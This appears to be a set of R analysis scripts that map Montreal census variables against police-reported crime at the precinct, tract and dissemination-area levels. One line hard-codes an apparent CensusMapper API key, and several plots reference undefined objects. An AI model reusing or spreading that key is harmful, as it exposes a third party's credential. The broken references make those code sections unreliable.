dataset = "CA06", regions = list(CSD = c("2466023")), level = "CT",
vectors = c("v_CA06_101", "v_CA06_103", "v_CA06_2049", "v_CA06_2051",
"v_CA06_105", "v_CA06_108", "v_CA06_1303", "v_CA06_1302",
"v_CA06_478", "v_CA06_474", "v_CA06_453", "v_CA06_451",
"v_CA06_462", "v_CA06_460", "v_CA06_2030", "v_CA06_1981",
"v_CA06_1292", "v_CA06_1293", "v_CA06_1257", "v_CA06_1258", "v_CA06_1248",
"v_CA06_2050", "v_CA06_2054"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(`Shape Area`:`Quality Flags`, CMA_UID:CSD_UID, PR_UID:`Area (sq km)`)) %>%
set_names(c("GeoUID", "dwellings", "parent_tenure", "renter",
"parent_repairs", "major_repairs", "parent_thirty", "median_HH_income_AT", "average_gross_rent",
"p_thirty_renter", "average_value_dwellings", "vm", "parent_vm", "immigrants", "parent_immigrants",
"mobility_one_year", "parent_mobility_one_year", "mobility_five_years", "parent_mobility_five_years",
"p_low_income_AT", "parent_aboriginal", "aboriginal",
"bachelor", "above_bachelor", "parent_education",
"geometry")) %>%
mutate(bachelor_above = bachelor + above_bachelor,
p_renter = renter / parent_tenure,
p_repairs = major_repairs / parent_repairs,
p_vm = vm/parent_vm,
p_immigrants = immigrants/parent_immigrants,
p_mobility_one_year = mobility_one_year/parent_mobility_one_year,
p_mobility_five_years = mobility_five_years/parent_mobility_five_years,
p_aboriginal = aboriginal/parent_aboriginal,
p_bachelor_above = bachelor_above / parent_education) %>%
select(GeoUID, dwellings, renter, average_gross_rent, average_value_dwellings, median_HH_income_AT, p_thirty_renter,
p_renter, p_repairs, p_mobility_one_year, p_mobility_five_years,
p_vm, p_immigrants, p_aboriginal, p_low_income_AT, p_bachelor_above) %>%
as_tibble() %>%
st_as_sf(agr = "constant")
# Quebec province ---------------------------------------------------------
province <-
get_census("CA16", regions = list(PR = "24"), geo_format = "sf") %>%
st_transform(32618) %>%
select(geometry)
# Montreal boroughs -------------------------------------------------------
boroughs_raw <-
read_sf("data/limadmin-shp/LIMADMIN.shp") %>%
filter(TYPE == "Arrondissement") %>%
select(borough = NOM) %>%
st_set_agr("constant") %>%
st_transform(32618)
boroughs <-
boroughs_raw %>%
st_intersection(province)
boroughs <-
DA %>%
select(dwellings) %>%
st_interpolate_aw(boroughs, extensive = TRUE) %>%
st_drop_geometry() %>%
select(dwellings) %>%
cbind(boroughs, .) %>%
as_tibble() %>%
st_as_sf() %>%
arrange(borough)
# Montreal CSD ------------------------------------------------------------
city <-
boroughs_raw %>%
st_combine() %>%
st_union() %>%
st_cast("POLYGON") %>%
st_union() %>%
smoothr::fill_holes(400)
# Unite evaluation fonciere -----------------------------------------------
uef_raw <-
read_sf("data/uniteevaluationfonciere/uniteevaluationfonciere.shp") %>%
st_transform(32618)
# Streets -----------------------------------------------------------------
streets <-
(getbb("Région administrative de Montréal") * c(1.01, 0.99, 0.99, 1.01)) %>%
opq(timeout = 200) %>%
add_osm_feature(key = "highway") %>%
osmdata_sf()
streets <-
rbind(
streets$osm_polygons %>% st_set_agr("constant") %>% st_cast("LINESTRING"),
streets$osm_lines) %>%
as_tibble() %>%
st_as_sf() %>%
st_transform(32618) %>%
st_set_agr("constant") %>%
st_intersection(city)
streets <-
streets %>%
filter(highway %in% c("primary", "secondary")) %>%
select(osm_id, name, highway, geometry)
downtown_poly <-
st_polygon(list(matrix(c(607000, 5038000,
614000, 5038000,
614000, 5045000,
607000, 5045000,
607000, 5038000),
ncol = 2, byrow = TRUE))) %>%
st_sfc(crs = 32618)
streets_downtown <-
streets %>%
st_intersection(downtown_poly)
# Save output -------------------------------------------------------------
save(DA, CT, DA_06, CT_06, boroughs, boroughs_raw, province, city, streets, streets_downtown,
file = "output/geometry.Rdata")
<file_sep>/R/002_bivariate-TY.R
library(biscale)
library(scales)
library(cowplot)
library(patchwork)
view(DA)
bivar <- bi_pal_manual(val_1_1 = "#e8e8e8",
val_1_2 = "#b8d6be",
val_2_1 = "#b5c0da",
val_2_2 = "#90b2b3",
val_3_1 = "#6c83b5",
val_3_2 = "#567994",
val_1_3 = "#73ae80",
val_2_3 = "#5a9178",
val_3_3 = "#2a5a5b", preview=FALSE)
show_col(bivar)
reim <-
bi_class(na.omit(DA), x = p_renter, y = p_immigrants,
style = "quantile", dim = 3)
#NA become one variable-->na.omit() to get rid of NA
plot(reim)
mapreim <-
ggplot() +
geom_sf(data = reim, mapping = aes(fill = bi_class),
color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
mapreim
bi_legend <- bi_legend(pal = bivar,
dim = 3,
xlab = "Percentage of Renter",
ylab = "Percentage of Immigrants",
size = 8)
# the legend 2
plotlegend <- mapreim +
inset_element(bi_legend, left = 0, bottom = 0.6, right = 0.4, top = 1)
plotlegend
# the legend1 --ggdraw
# mapreim2 <- cowplot::ggdraw() + draw_plot(mapreim, 0, 0, 1, 1) + draw_plot(bi_legend, 0.1, 0.1, 0, 0)
#save
ggsave("output/figures/plotlegend.pdf", plot = plotlegend, width = 8,
height = 5, units = "in", useDingbats = FALSE)
<file_sep>/R/05_policing_data.R
# Data policing report########################################################
# Background to the code-------------------------------------------------------------------
# This code creates maps and scatter plots based on the crimes data from Donnees
# Montreal from 2015 until 01.06.2021. There are three spatial levels to the data,
# the poste de quartier (PDQ or precinct), the census track (CT) and the
# dissemination area (DA).The year 2019 was used for the interventions data, as 2020
# was an unusual year due to the pandemic.
# French to English translations-------------------------------------------------
# Méfaits -> mischief crimes
# PDQ -> precinct
# Abbreviations------------------------------------------------------------------
# PDQ = Poste de quartier -> precinct
# Census track = CT
# Dissemination Area = DA
# Interventions = INT
# Loading data and packages------------------------------------------------------
# Loading the crimes data, which we name "interventions"
load("output/int.Rdata")
# the above data has the wrong CT and DA datasets
# Load the CT and DA datasets
load("output/CTALEXIA.Rdata")
load("output/DA.Rdata")
source("R/01_startup.R")
load("output/province.Rdata")
# Load wes anderson colors
library(wesanderson)
pal <- wes_palette("Zissou1", 10, type = c("continuous"))
# Import boundaries of PDQs
PDQ_sf <-
read_sf("data/Limites/Limites_PDQ.shp") %>%
st_transform(32618)
# To set API key-----------------------------------------------------------------
# Do not need to run this every time
set_api_key("<CensusMapper_e6c6d57ebc92d3b6b6d5abeb72951cfd>", install=TRUE)
readRenviron("~/.Renviron")
# Visualization of interventions ------------------------------------------------
# Map set by PDQ-----------------------------------------------------------------
# Step 1: Putting PDQ and crimes together (notice that this dataset has less data)
int_PDQ <- st_join(PDQ_sf,int %>% select(-PDQ))
#Map 1: Number of interventions by PDQ per category all years combined (2015-2020)
int_PDQ %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(PDQ, CATEGORIE) %>%
summarize(PDQ_number_intervention = n()) %>%
ggplot()+
geom_sf(aes(fill=PDQ_total_number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of crimes 2015-2020 at the precinct level",
colors=col_palette[c(4, 1, 9)])+
facet_wrap(~CATEGORIE)
# Map 2: Mischief by PDQ per year (2015-2020)
int_PDQ %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
filter(CATEGORIE == "Mefait") %>%
group_by(NOM_PDQ, DATE) %>%
summarize(PDQ_number_mischief = n()) %>%
ggplot()+
geom_sf(aes(fill=PDQ_number_mischief), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of crimes",
colors=pal)+
labs(title="Number of mischief crimes per precinct per year")+
facet_wrap(~DATE)
# Map 3: Mischief per crimes per PDQ
PDQ_total_interventions <-
int_PDQ %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(NOM_PDQ, DATE) %>%
summarize(PDQ_total_number_interventions_per_year = n())
PDQ_total_mischief <-
int_PDQ %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
filter(CATEGORIE == "Mefait") %>%
group_by(NOM_PDQ, DATE) %>%
summarize(PDQ_number_mischiefs_per_year= n())
PDQ_total_mischief %>%
left_join(., st_drop_geometry(PDQ_total_interventions),
by = c("NOM_PDQ", "DATE")) %>%
mutate(mefait_prop = PDQ_number_mischiefs_per_year/
PDQ_total_number_interventions_per_year) %>%
ggplot()+
geom_sf(aes(fill=mefait_prop), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Percentage mischief per total crimes (%)",
colors=pal,
labels = scales::percent)+
labs(title="Percentage of mischief out of total crimes per precinct per year")+
facet_wrap(~DATE)
# Map 4: Ratio mischiefs per non-discretionary crimes per PDQ
PDQ_total_interventions_minus_mischiefs <-
int_PDQ %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
filter(CATEGORIE != "Mefait") %>%
group_by(NOM_PDQ, DATE) %>%
summarize(PDQ_total_number_interventions_minus_mischiefs_per_year = n())
PDQ_total_mischief %>%
left_join(., st_drop_geometry(PDQ_total_interventions_minus_mischief),
by = c("NOM_PDQ", "DATE")) %>%
mutate(mischief_prop_non_discretionary = PDQ_number_mischiefs_per_year/
PDQ_total_number_interventions_minus_mischiefs_per_year) %>%
ggplot()+
geom_sf(aes(fill=mischief_prop_non_discretionary), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Ratio of mischief to less discretionary crime)",
colors=pal)+
labs(title="Ratio of mischief crimes to other less discretionary crimes
per precinct per year")+
facet_wrap(~DATE)
# Map 5: Mischiefs by PDQ per total mischiefs
PDQ_total_mischief_island <-
int_PDQ %>%
st_drop_geometry() %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
filter(CATEGORIE == "Mefait") %>%
group_by(DATE) %>%
summarize(PDQ_number_mischief_island= n())
total_mefait %>%
full_join(., PDQ_total_mefait_island, by = "DATE") %>%
mutate(PDQ_share_mischief_total_mischief = PDQ_number_mischiefs_per_year/
PDQ_number_mischief_island) %>%
ggplot()+
geom_sf(aes(fill=PDQ_share_mischief_total_mischief), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Percentage mischief crimes by precinct per total mischief crimes",
colors = pal,
labels = scales::percent)+
labs(title="Share of mischief crimes per precinct per year")+
facet_wrap(~DATE)
# Map set per category of crime
# Map 6.1: Vol de vehicule a moteur -> Theft of motor vehicle
int_PDQ %>%
filter(CATEGORIE == "Vol de vehicule a moteur") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(NOM_PDQ, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)])+
labs(title="Number of motor vehicule theft per precinct per year")+
facet_wrap(~DATE)
# Map 6.2: Vols qualifies -> Skilled thefts
int_PDQ %>%
filter(CATEGORIE == "Vols qualifies") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(NOM_PDQ, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)])+
labs(title="Number of skilled thefts per precinct per year")+
facet_wrap(~DATE)
# Map 6.3: Vol dans / sur vehicule a moteur -> Thefts of/in motor vehicles
int_PDQ %>%
filter(CATEGORIE == "Vol dans / sur vehicule a moteur") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(NOM_PDQ, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)])+
labs(title="Number of thefts of/in motor vehicles per precinct per year")+
facet_wrap(~DATE)
# Map 6.4: Infractions entrainant la mort (NEED TO FIX BORDERS)
int_PDQ %>%
filter(CATEGORIE == "Infractions entrainant la mort") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(NOM_PDQ, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)])+
labs(title="Number of offenses causing death per precinct per year")+
facet_wrap(~DATE)
# Map 6.5: Introduction -> Break-ins/thefts of firearms in residences
int_PDQ %>%
filter(CATEGORIE == "Introduction") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(NOM_PDQ, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)])+
labs(title="Number of break-ins/thefts of firearms in residences per precinct per year")+
facet_wrap(~DATE)
# Map 7: Map set by year and PDQ (facet group by PDQ and year)
int_PDQ %>%
mutate(DATE=year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(NOM_PDQ, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(aes(fill=number_intervention))+
scale_fill_gradient2(low="green",mid="blue", high="red")+
theme_void()+
labs(title="Sum of police interventions per precinct per year")+
labs(fill="Number of interventions")+
facet_wrap(~DATE)
# Map set by CT------------------------------------------------------------------
# Step 1: Merge CT and int data sets
int_CT <- st_join(CT, int)
#the first one in the join is the geometry that you are keeping
# Map 1: Mischief crimes per capita CT level
int_CT %>%
st_filter(CT) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
filter(population>50) %>%
filter(CATEGORIE == "Mefait") %>%
group_by(GeoUID, population,DATE) %>%
summarize(n_int_CT = n()) %>%
mutate(int_density_CT = n_int_CT/(population/100)) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=int_density_CT),color=NA)+
scale_fill_gradientn(name="Crimes per 100 people",
colors=col_palette[c(4,1,9)],
limits = c(0,2 ),
oob = scales::squish,
na.value = "grey90")+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Mischief crimes per 100 people (Census Tract level)")+
theme_void()+facet_wrap(~DATE)
#Map 2: Number of crimes per 100 people by CT per category 2019
CT_crimes_per100ppl_per_category_2019 <-
int_CT %>%
st_filter(CT) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
group_by(GeoUID, CATEGORIE, population) %>%
summarize(CT_crimes_per_categorie_2019 = n()) %>%
filter(CT_crimes_per_categorie_2019 != "NA") %>%
filter(population!= "NA") %>%
filter(population>50) %>%
mutate(CT_crimes_per_categorie_per100ppl_2019=
CT_crimes_per_categorie_2019/(population/100))
CT_crimes_per100ppl_per_category_2019 %>%
filter(CT_crimes_per_categorie_per100ppl_2019<=3) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=CT_crimes_per_categorie_per100ppl_2019), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of crimes per 100 people",
colors=pal[c(1, 4, 10)],
na.value = "grey90",
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Number of crimes per 100 people per category in 2019 (Census Tract level)")+
facet_wrap(~CATEGORIE,
labeller = labeller(CATEGORIE= c("Mefait" = "Mischief",
"Introduction" = "Break-in",
"Vol dans / sur vehicule a moteur" = "Theft of/in a motor vehicle",
"Vols qualifies"="Skilled thefts",
"Vol de vehicule a moteur"="Theft of motor vehicle",
"Infractions entrainant la mort"="Offenses causing death")))
#absolute number of crimes
CT_crimes_per100ppl_per_category_2019 %>%
filter(CT_crimes_per_categorie_2019<90) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=CT_crimes_per_categorie_2019), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of crimes",
colors=pal[c(1, 4, 10)],
na.value = "grey90",
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of crimes per category in 2019 (Census Tract level)")+
facet_wrap(~CATEGORIE, labeller = labeller(CATEGORIE= c("Mefait" = "Mischief",
"Introduction" = "Break-in",
"Vol dans / sur vehicule a moteur" = "Theft of/in a motor vehicle",
"Vols qualifies"="Skilled thefts",
"Vol de vehicule a moteur"="Theft of motor vehicle",
"Infractions entrainant la mort"="Offenses causing death")))
# Map set per category of crime (absolute numbers)
# Map 3.1: Vol de vehicule a moteur -> Theft of motor vehicle
int_CT %>%
filter(CATEGORIE == "Vol de vehicule a moteur") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90")+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of motor vehicle thefts by year (Census Tract level)")+
facet_wrap(~DATE)
#With an adjusted scale (only 6 CT had values over 100)
int_CT %>%
filter(CATEGORIE == "Vol de vehicule a moteur") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n())%>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90",
limits = c(0,100),
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of motor vehicle thefts by year (Census Tract level) - Max = 100")+
facet_wrap(~DATE)
#Map 3.2: Vols qualifies -> Skilled thefts
int_CT %>%
filter(CATEGORIE == "Vols qualifies") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90",
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of skilled thefts by year (Census Tract level)")+
facet_wrap(~DATE)
# Map 3.3: Vol dans / sur vehicule a moteur -> Thefts of/in motor vehicles
int_CT %>%
filter(CATEGORIE == "Vol dans / sur vehicule a moteur") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90",
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of thefts of/in motor vehicles by year (Census Tract level)")+
facet_wrap(~DATE)
# removing outliers (20 values above 100)
int_CT %>%
filter(CATEGORIE == "Vol dans / sur vehicule a moteur") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90",
limits = c(0,100),
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of thefts of/in motor vehicles by year (Census Tract level) - Max value = 100")+
facet_wrap(~DATE)
# Map 3.4: Infractions entrainant la mort -> Offenses causing death
int_CT %>%
filter(CATEGORIE == "Infractions entrainant la mort") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90",
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of offenses causing death by year (Census Tract level)")+
facet_wrap(~DATE)
#Map 3.5: Introduction -> Break-ins/thefts of firearms in residences
# Max values is 100 (3 values over 100)
int_CT %>%
filter(CATEGORIE == "Introduction") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90",
limits = c(0,100),
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of break-ins/thefts of firearms in residences by year (Census Tract level)")+
facet_wrap(~DATE)
#Map 3.6: Mefaits -> Mischief
# with max at 100 (only 2 CTs over 100)
int_CT %>%
filter(CATEGORIE == "Mefait") %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
group_by(GeoUID, DATE) %>%
summarize(number_intervention = n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_intervention), color="transparent")+
theme_void()+
scale_fill_gradientn(name="Number of interventions",
colors=col_palette[c(4, 1, 9)],
na.value = "grey90",
limits = c(0,100),
oob = scales::squish)+
coord_sf(xlim=c(582280,618631), ylim=c(5029848, 5062237), expand=FALSE)+
ggtitle("Absolute number of mischief crimes by year (Census Tract level)")+
facet_wrap(~DATE)
# Map set by DA------------------------------------------------------------------
# Step 1: Merge DA and int data sets
int_DA <- st_join(DA, int)
#Map 1: Mischief crimes per capita
int_DA %>%
st_filter(DA) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE != 2021) %>%
filter(population>50) %>%
filter(CATEGORIE == "Mefait") %>%
group_by(GeoUID, population,DATE) %>%
summarize(n_int_DA = n()) %>%
mutate(int_density_DA = n_int_DA/(population/100)) %>%
ggplot()+
geom_sf(aes(fill=int_density_DA),color=NA)+
scale_fill_gradientn(name="Number of mischiefs by 100 people (DA level)",
colors=col_palette[c(4,1,9)],
limits = c(0,2 ), oob = scales::squish)+
theme_void()+facet_wrap(~DATE)
# Bivariate maps-----------------------------------------------------------------
# Step 1: Load libraries
library(biscale)
library(scales)
library(ggplot2)
library(cowplot)
library(grid)
library(gridGraphics)
library(patchwork)
# Step 2: Set the bivariate color palette
bivar <- bi_pal_manual(val_1_1 = "#e8e8e8",
val_1_2 = "#b8d6be",
val_2_1 = "#b5c0da",
val_2_2 = "#90b2b3",
val_3_1 = "#6c83b5",
val_3_2 = "#567994",
val_1_3 = "#73ae80",
val_2_3 = "#5a9178",
val_3_3 = "#2a5a5b", preview=FALSE)
show_col(bivar) #to show the bivar color palette
# Step 3: Prepare the dataset to display in a bivariate choropleth map
# Bivariate maps CT level--------------------------------------------------------
# Map 1: Median income (Median_HH_income_AT) and Mischief for 2019
# Make new dataset
CT_income_mischief_2019 <-
int_CT %>%
st_filter(CT) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
filter(median_HH_income_AT!="NA") %>%
filter(CATEGORIE == "Mefait") %>%
filter(population>50) %>%
group_by(GeoUID,median_HH_income_AT,population) %>%
summarize(CT_n_mischief_2019 = n()) %>%
mutate(CT_density_mischief_2019 = CT_n_mischief_2019/(population/100)) %>%
bi_class(x = CT_density_mischief_2019, y = median_HH_income_AT, style = "quantile", dim = 3,
keep_factors = FALSE)
# Plot for the bivariate choropleth map
CT_bivarite_map_medianincome_mischief_2019 <-
ggplot() +
geom_sf(data =CT_income_mischief_2019, mapping = aes(fill = bi_class),
color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
# Add bivariate legend
CT_bi_legend_medianincome_mischiefs_2019 <- bi_legend(pal = bivar,
dim = 3,
xlab = "Number of mischief crimes per 100 population",
ylab = "Median household income",
size = 8)
CT_final_bivarite_map_medianincome_mischief_2019 <-
CT_bivarite_map_medianincome_mischief_2019 +
inset_element(CT_bi_legend_medianincome_mischiefs_2019, left = 0, bottom = 0.6, right = 0.4, top = 1)
CT_final_bivarite_map_medianincome_mischief_2019 # to see your plot
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/Alexia/CT_bivarite_map_medianincome_mischiefsperpopulation_2019.pdf",
plot = CT_final_bivarite_map_medianincome_mischief_2019, width = 8,
height = 5, units = "in", useDingbats = FALSE)
# For maps 2 and 3, you can switch out the variables to study the variables of
# interest: p_unsuitable, p_immigrants, p_aboriginal, p_low_income_AT, p_vm
# Map 2: Percentage low income and Mischief share for 2019
# Make new dataset
# The CT_int_plots_4 dataframe is made in the scatterplots section
CT_lowincome_mischief_share_2019 <-
CT_int_plots_4 %>%
na.omit() %>%
bi_class(x = p_low_income_AT, y=CT_mischief_share_2019, style = "quantile", dim = 3,
keep_factors = FALSE)
# Plot for the bivariate choropleth map
CT_bivarite_map_lowincome_mischief_share_2019 <-
ggplot() +
geom_sf(data =CT_lowincome_mischief_share_2019, mapping = aes(fill = bi_class),
color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
# Add bivariate legend
CT_bi_legend_lowincome_mischiefs_share_2019 <- bi_legend(pal = bivar,
dim = 3,
xlab = "Percentage of mischief\ncrimes out of all crimes",
ylab = "Percentage of low\nincome housing",
size = 8)
# Percentage of mischief\ncrimes out of all crimes or
# Number of mischief\ncrimes per 100 people
CT_final_bivarite_map_lowincome_mischief_share_2019 <-
CT_bivarite_map_lowincome_mischief_share_2019 +
inset_element(CT_bi_legend_lowincome_mischiefs_share_2019, left = 0, bottom = 0.6, right = 0.4, top = 1)
CT_final_bivarite_map_lowincome_mischief_share_2019 # to see your plot
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/Alexia/CT_bivarite_map_lowincome_mischief_share_2019.pdf",
plot = CT_final_bivarite_map_lowincome_mischief_share_2019, width = 8,
height = 5, units = "in", useDingbats = FALSE)
# Map 3: Percentage low income and mischief crimes per 100 ppl
CT_lowincome_mischief_per100ppl_2019 <-
CT_int_plots_4 %>%
na.omit() %>%
bi_class(x = p_low_income_AT, y=CT_n_mischiefs_per100ppl, style = "quantile", dim = 3,
keep_factors = FALSE)
# Plot for the bivariate choropleth map
CT_bivarite_map_lowincome_mischief_per100ppl_2019 <-
ggplot() +
geom_sf(data =CT_lowincome_mischief_per100ppl_2019, mapping = aes(fill = bi_class),
color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
# Add bivariate legend
CT_bi_legend_lowincome_mischiefs_per100ppl_2019 <- bi_legend(pal = bivar,
dim = 3,
xlab = " Mischief crimes\nper 100 people",
ylab = "Percentage of low\nincome housing",
size = 8)
# Percentage of mischief\ncrimes out of all crimes or
# Mischief crimes per 100 people
CT_final_bivarite_map_lowincome_mischief_per100ppl_2019 <-
CT_bivarite_map_lowincome_mischief_per100ppl_2019 +
inset_element(CT_bi_legend_lowincome_mischiefs_per100ppl_2019 , left = 0, bottom = 0.6, right = 0.4, top = 1)
CT_final_bivarite_map_lowincome_mischief_per100ppl_2019 # to see your plot
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/Alexia/CT_bivarite_map_lowincome_mischief_per100ppl.pdf",
plot = CT_final_bivarite_map_lowincome_mischief_per100ppl_2019, width = 8,
height = 5, units = "in", useDingbats = FALSE)
# Bivariate maps DA level--------------------------------------------------------
# Map 1: Median income (Median_HH_income_AT) and Mischief for 2019
# Make new dataset
DA_income_mischief_2019 <-
int_DA %>%
st_filter(DA) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
filter(median_HH_income_AT!="NA") %>%
filter(CATEGORIE == "Mefait") %>%
#filter(population>50) %>%
group_by(GeoUID,median_HH_income_AT,population) %>%
summarize(DA_n_mischief_2019 = n()) %>%
mutate(DA_density_mischief_2019 = DA_n_mischief_2019/(population/100)) %>%
bi_class(x = DA_density_mischief_2019, y = median_HH_income_AT, style = "quantile", dim = 3,
keep_factors = FALSE)
# Plot for the bivariate choropleth map
DA_bivarite_map_medianincome_mischiefs_2019 <-
ggplot() +
geom_sf(data = DA_income_mischief_2019, mapping = aes(fill = bi_class), color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
# Add bivariate legend
DA_bi_legend_medianincome_mischiefs_2019 <- bi_legend(pal = bivar,
dim = 3,
xlab = "Number of mischief crimes per 100 population",
ylab = "Median household income",
size = 8)
DA_final_bivarite_map_medianincome_mischiefs_2019 <-
DA_bivarite_map_medianincome_mischiefs_2019 +
inset_element(DA_bi_legend_medianincome_mischiefs_2019, left = 0, bottom = 0.6, right = 0.4, top = 1)
DA_final_bivarite_map_medianincome_mischiefs_2019 #to see your plot
